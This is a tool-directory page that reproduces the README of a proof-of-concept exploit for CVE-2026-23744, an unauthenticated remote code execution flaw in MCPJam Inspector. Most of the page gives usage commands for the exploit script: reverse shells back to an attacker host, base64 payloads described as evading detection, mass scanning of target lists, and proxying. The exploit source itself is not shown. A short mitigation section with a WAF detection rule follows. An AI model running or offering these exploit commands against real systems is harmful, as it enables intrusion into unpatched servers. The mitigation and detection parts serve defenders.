Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-23744-MCPJam-Exploit — A proof-of-concept exploit for CVE-2026-23744 - MCPJam Inspector Remote Code Execution (RCE) vulnerability. This tool demonstrates the security flaw in versions <=1.4.2 and helps security researchers verify patches. For authorized testing and educational purposes only. Includes multiple payload options, command execution, and session management. | Kitploit
Tools/GitHubGitHub/cerberusmrxi/cve-2026-23744-mcpjam-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationPayload Development
GitHubcerberusmrxi/cve-2026-23744-mcpjam-exploit

CVE-2026-23744-MCPJam-Exploit

View Repository
7141 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

A proof-of-concept exploit for CVE-2026-23744 - MCPJam Inspector Remote Code Execution (RCE) vulnerability. This tool demonstrates the security flaw in versions <=1.4.2 and helps security researchers verify patches. For authorized testing and educational purposes only. Includes multiple payload options, command execution, and session management.

Share

CVE-2026-23744 MCPJam Inspector RCE Exploit

Security Research Python 3.7+ Version Author


⚠️ DISCLAIMER

This tool is for authorized security testing and educational purposes ONLY. Unauthorized use is illegal. Users assume all responsibility for their actions.


📋 Overview

This repository contains a proof-of-concept exploit for CVE-2026-23744, an unauthenticated Remote Code Execution (RCE) vulnerability found in MCPJam Inspector versions <=1.4.2. The vulnerability has a critical CVSS score of 9.8, indicating a severe risk with a network attack vector.

AttributeDetails
CVE IDCVE-2026-23744
VulnerabilityUnauthenticated Remote Code Execution
Affected Versions<=1.4.2
CVSS Score9.8 (Critical)
Attack VectorNetwork

📸 Screenshots

ex

🚀 Features

The exploit tool offers a comprehensive set of features designed for effective security testing:

  • Multi-payload Support: Includes Bash, Python, Netcat, Perl, PHP, and Base64 payloads.
  • Command Execution: Execute commands on the target system with output capture.
  • Target Scanning: Scan multiple targets with configurable rate limiting.
  • Session Management: Persistent session management for ongoing testing.
  • Proxy Support: Integrate with proxies for anonymous or routed traffic.
  • Target Fingerprinting: Identify target system characteristics.
  • Auto-listener Setup: Automatically configure listeners for reverse shells.

📦 Installation

To set up the exploit tool, follow these steps:

  1. Clone the repository:

    root@kitploit:~
    git clone https://github.com/CerberusMrXi/CVE-2026-23744-MCPJam-RCE-Exploit.git
    cd CVE-2026-23744-MCPJam-RCE-Exploit
    
  2. Install dependencies:

    root@kitploit:~
    pip install -r requirements.txt
    

🎯 Usage Examples

Basic Exploitation

To initiate a basic exploit, first set up a listener, then run the exploit script:

root@kitploit:~
# Start listener
nc -lvnp 4444

# Run exploit
python exploit.py -u http://target-ip:8080 -l attacker-ip -p 4444

Command Execution

Execute single commands or commands from a file:

root@kitploit:~
# Execute single command
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 -c "id; whoami"

# Execute commands from file
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 -C commands.txt

Different Payloads

Utilize various payload types for different scenarios:

root@kitploit:~
# Python reverse shell
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 -t python

# Netcat reverse shell
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 -t nc

# Base64 encoded payload
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 -t base64

Target Scanning

Scan multiple targets for vulnerability:

root@kitploit:~
# Create targets file
echo "http://192.168.1.10:8080" > targets.txt
echo "http://192.168.1.11:8080" >> targets.txt

# Scan for vulnerable targets
python exploit.py -f targets.txt -l 10.0.0.5 -p 4444 --scan

Advanced Options

Explore advanced functionalities such as fingerprinting, proxy usage, verbose mode, and auto-listener setup:

root@kitploit:~
# With fingerprinting
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 --fingerprint

# With proxy
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 --proxy http://127.0.0.1:8080

# Verbose mode
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 -v

# Auto-listener
python exploit.py -u http://target:8080 -l 10.0.0.5 -p 4444 --listen

🔧 Payload Types

TypeCommandBest For
bashBash reverse shellMost Linux systems
pythonPython3 reverse shellPython installed systems
ncNetcat reverse shellSystems with netcat
perlPerl reverse shellPerl installed systems
phpPHP reverse shellPHP installed systems
base64Base64 encodedEvading detection

📊 Example Output

root@kitploit:~
[+] Starting enhanced exploit against http://192.168.1.100:8080
[+] Reverse shell to 10.0.0.5:4444
[*] Session ID: AbCdEfGh
[*] Fingerprinting target...
[+] Target OS: Ubuntu
[+] Available capabilities: python3, perl, nc
[*] Executing exploit...
[+] Exploit successful!
[!] Check your netcat listener on 10.0.0.5:4444

🛡️ Mitigation

Immediate Actions

To protect against CVE-2026-23744, it is crucial to take the following immediate actions:

  • Upgrade MCPJam Inspector to version >1.4.2.
  • Isolate vulnerable systems from the network.
  • Monitor for suspicious POST requests to /api/mcp/connect.
  • Implement Web Application Firewall (WAF) rules to block malicious patterns.

WAF Rule Example

Example Nginx WAF rule to block common malicious patterns:

root@kitploit:~
location /api/mcp/connect {
    if ($request_body ~* "bash.*/dev/tcp") { return 403; }
    if ($request_body ~* "base64.*-d") { return 403; }
    proxy_pass http://backend;
}

❓ FAQ

Q: Is this legal to use?

A: This tool is only legal to use on systems you own or have explicit written permission to test.

Q: What systems are vulnerable?

A: MCPJam Inspector versions <=1.4.2 are vulnerable.

Q: How can I protect my systems?

A: Upgrade to MCPJam Inspector version >1.4.2 immediately.


📚 References

  • CVE-2026-23744 MITRE

👤 Author

Sudeepa Wanigarathna

  • GitHub: @CerberusMrXi

📝 Changelog

Version 2.0 (July 14, 2026)

  • ✅ Fixed listener check reliability
  • ✅ Implemented command execution mode
  • ✅ Added target fingerprinting
  • ✅ Enhanced session management
  • ✅ Added payload fallbacks

Version 1.0 (July 10, 2026)

  • ✅ Initial release

⚠️ Final Warning

Unauthorized use of this tool is illegal and can result in severe consequences, including:

  • Criminal prosecution
  • Civil lawsuits
  • Permanent criminal record
  • Professional sanctions

Made with ❤️ by Sudeepa Wanigarathna

Download Tool